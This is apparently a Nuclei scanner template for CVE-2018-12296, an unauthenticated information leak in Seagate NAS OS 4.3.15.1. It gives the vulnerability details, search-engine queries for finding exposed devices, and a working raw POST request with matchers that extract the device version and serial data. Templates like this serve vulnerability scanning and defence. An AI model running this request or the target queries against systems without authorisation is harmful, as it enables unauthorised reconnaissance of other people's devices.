CVE-2018-12296: Seagate NAS OS 4.3.15.1 - Server Information Disclosure

id: CVE-2018-12296

info:
  name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure
  author: princechaddha
  severity: high
  description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.
  impact: |
    An attacker can gain sensitive information about the server, potentially leading to further attacks.
  remediation: |
    Upgrade to a patched version of Seagate NAS OS.
  reference:
    - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12296
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12296
    cwe-id: CWE-732
    epss-score: 0.6508
    epss-percentile: 0.98428
    cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seagate
    product: nas_os
    shodan-query: http.title:"seagate nas - seagate"
    fofa-query: title="seagate nas - seagate"
    google-query: intitle:"seagate nas - seagate"
  tags: cve,cve2018,seagate,nasos,disclosure,unauth

http:
  - raw:
      - |
        POST /api/external/7.0/system.System.get_infos HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    matchers:
      - type: word
        part: body
        words:
          - '"version":'
          - '"serial_number":'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - '"version": "([0-9.]+)"'
        part: body
# digest: 4b0a00483046022100894c5748074ae87b55478667f15fc2300368c1673b387f14a7d74f82eef44c75022100ab0d88e6e85dfef7679448ceebd858c5fb6393c31782e3ef98311297294aeb1b:922c64590222798bb761d5b6d8e72950